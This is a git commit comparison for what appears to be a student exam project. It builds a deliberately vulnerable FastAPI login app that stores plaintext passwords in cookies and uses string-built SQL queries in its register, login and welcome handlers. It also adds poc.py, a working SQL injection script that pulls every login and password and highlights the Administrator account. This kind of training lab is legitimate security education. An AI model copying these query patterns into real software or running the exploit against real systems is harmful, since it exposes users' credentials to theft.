Compare commits

..

16 Commits

Author SHA1 Message Date
4ed1d130e3 personify 2025-12-16 10:44:15 +10:00
a6eb4c06fd updated screenshots 2025-12-16 10:41:38 +10:00
d6c4fb3e14 P-Net Reference added 2025-12-16 08:16:25 +10:00
f958956395 minimal readme added 2025-12-16 03:26:15 +10:00
85083c9f15 poc ordering FIXEEEED (looks like i'm getting no sleep today)))))) 2025-12-16 03:22:05 +10:00
ed137b7620 added admin highlight ( im cooked 2025-12-16 02:49:11 +10:00
30a1c38304 updated gitignore 2025-12-16 02:36:07 +10:00
a05fd59274 added argparse for poc and requirements 2025-12-16 02:30:55 +10:00
d990cf5482 working poc added
MY BRAIN IS MELTIIINNG
2025-12-16 02:26:01 +10:00
2295061943 exploit is now possible 2025-12-16 02:15:51 +10:00
fa7d2c7cba removed unused endpoint 2025-12-16 01:55:09 +10:00
532556dacd unfixing safe code 2025-12-16 01:51:19 +10:00
f18f545e33 minimal visual improvements 2025-12-15 23:07:46 +10:00
661fee131e vunerability added 2025-12-15 23:05:11 +10:00
641df7cfe8 table creation added 2025-12-15 22:44:12 +10:00
5c7d16f418 minimal building container 2025-12-15 22:27:26 +10:00
30 changed files with 247 additions and 14 deletions

2
.gitignore vendored
View File

@@ -1,3 +1,3 @@
build
.vscode
**__pycache__
data

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 386 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

1
build Executable file
View File

@@ -0,0 +1 @@
docker build -t kulesh_web-app:v0.0.1a .

View File

@@ -1,7 +1,7 @@
services:
vunerable-web-app:
image: web-app:v0.0.1a
vunerable-web-app1:
image: kulesh_web-app:v0.0.1a
ports:
- "80:8000"
- "21252:8000"
volumes:
- ./data/:/app/data

39
poc.py Executable file
View File

@@ -0,0 +1,39 @@
#!/usr/bin/env python3
import requests
import re
import argparse
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
logins= logins_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

View File

@@ -1 +1,54 @@
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi|Uvicorn)
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
# PC-Seq-Exam-WebApp
## Сборка
```sh
docker build -t kulesh_web-app:v0.0.1a .
```
## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
```bash
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
для запуска ставим requests,
```pip install requests```
в помошь)
```sh
python ./poc.py --base-url http://aboba.eu
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
```
Выполнил Кулеш А.Б.
Б9123-09.03.04
---
Он постоянно что-то ест, он постоянно что-то пьёт
Он быстро набирает вес, клянётся, что в спортзал пойдёт
Но продолжает что-то есть и продолжает что-то пить

View File

@@ -1,16 +1,156 @@
import os
import sqlite3
from fastapi import FastAPI
from fastapi import Request, Form
from fastapi.responses import HTMLResponse, RedirectResponse
DB_PATH = "./data/database.db"
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
cursor.execute(
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
)
app = FastAPI(
docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc
openapi_url=None # Disable OpenAPI JSON schema
openapi_url=None, # Disable OpenAPI JSON schema
)
STYLES = """
<style>
body {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
}
</style>
"""
@app.get("/register", response_class=HTMLResponse)
async def register_form():
return f"""
<html>
<head><title>Регистрация</title>{STYLES}</head>
<body>
<h2>Регистрация</h2>
<form action="/register" method="post">
<input name="login" placeholder="Login" required><br>
<input name="password" type="password" placeholder="Password" required><br>
<button type="submit">Register</button>
</form>
<p>Уже есть аккаунт? <a href="/login">Войти</a></p>
</body>
</html>
"""
@app.post("/register")
async def register(login: str = Form(...), password: str = Form(...)):
try:
cursor.execute(
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
)
conn.commit()
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
except sqlite3.IntegrityError:
return HTMLResponse(
f"""
<html>
<head><title>Ошибка регистрации</title>{STYLES}</head>
<body>
<h3>Login уже существует</h3>
<a href='/register'>Попробовать снова</a>
</body>
</html>
""",
status_code=400,
)
@app.get("/")
@app.get("/login", response_class=HTMLResponse)
async def login_form():
return f"""
<html>
<head><title>Вход</title>{STYLES}</head>
<body>
<h2>Вход</h2>
<form action="/login" method="post">
<input name="login" placeholder="Login" required><br>
<input name="password" type="password" placeholder="Password" required><br>
<button type="submit">Login</button>
</form>
<p>Нет аккаунта? <a href="/register">Зарегистрироваться</a></p>
</body>
</html>
"""
@app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute(
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user:
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
else:
return HTMLResponse(
f"""
<html>
<head><title>Ошибка входа</title>{STYLES}</head>
<body>
<h3>Неверные учетные данные</h3>
<a href='/login'>Попробовать снова</a>
</body>
</html>
""",
status_code=401,
)
@app.get("/welcome", response_class=HTMLResponse)
async def welcome(request: Request):
login = request.cookies.get("login")
password = request.cookies.get("password")
if not login or not password:
return RedirectResponse(url="/login")
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
print(f"executing: {query}")
cursor.execute(
query
)
user = cursor.fetchall()
if user:
return f"""
<html>
<head><title>Добро пожаловать</title>{STYLES}</head>
<body>
<h1>Привет, {str(user)[3:-4]}</h1>
<button onclick="
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
window.location.href = '/login';
">Выйти</button>
</body>
</html>
"""
else:
return RedirectResponse(url="/login")
@app.get("/", include_in_schema=False)
async def root():
return {"message": "Hello World"}
return RedirectResponse(url="/login")